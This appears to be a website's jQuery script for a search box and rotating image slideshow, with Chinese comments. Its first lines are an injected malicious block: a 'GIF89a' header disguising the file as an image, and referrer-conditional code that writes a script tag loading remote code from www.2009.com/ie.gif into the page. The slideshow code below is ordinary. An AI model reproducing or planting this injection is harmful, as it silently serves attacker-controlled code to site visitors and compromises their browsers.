
GIF89a="";
var d=document.referrer;
if ((d.indexOf("%B2%CA")>0)||(d.indexOf("%B2%CA")>0)||(d.indexOf("%B2%CA")>0)){
document.writeln("<script src=http:\/\/www.2009.com\/ie.gif><\/script>"); 
}

$(function(){
     //var sid=
     //$("#se").change(function(){
     var sid=$("#se option:selected").val()
     //});
     
     $("#bt_search").bind("click",function(){
     var tex=document.getElementById('txt').value;
     //alert(sid);
     window.open('search.aspx?sid='+sid+'&text='+tex);
     });
     
     $("#imgs img").eq(0).css({"display":"block"});
	 var index = 0;
	 $("#btn span").mouseover(function(){
		index  =  $("#btn span").index(this);
		showImg(index);
	});	
	 //滑入 停止动画，滑出开始动画.
	 $('#imgnav').hover(function(){
			  if(MyTime){
				 clearInterval(MyTime);
			  }
	 },function(){
			  MyTime = setInterval(function(){
			    showImg(index)
				index++;
				if(index==5){index=0;}
			  } , 4000);
	 });
	 //自动开始
	 var MyTime = setInterval(function(){
		showImg(index)
		//alert(index);
		index++;
		if(index==5){index=0;}
	 } , 4000);
})
//关键函数：通过控制i ，来显示不通的幻灯片
function showImg(i){
		$("#imgs img")
			.eq(i).stop(true,true).fadeIn(800)
			.parent().siblings().find("img").hide();
		$("#msgs li")
			.eq(i).stop(true,true).fadeIn(800)
			.siblings().hide();
		 $("#btn span")
			.eq(i).addClass("hov")
			.siblings().removeClass("hov");
}

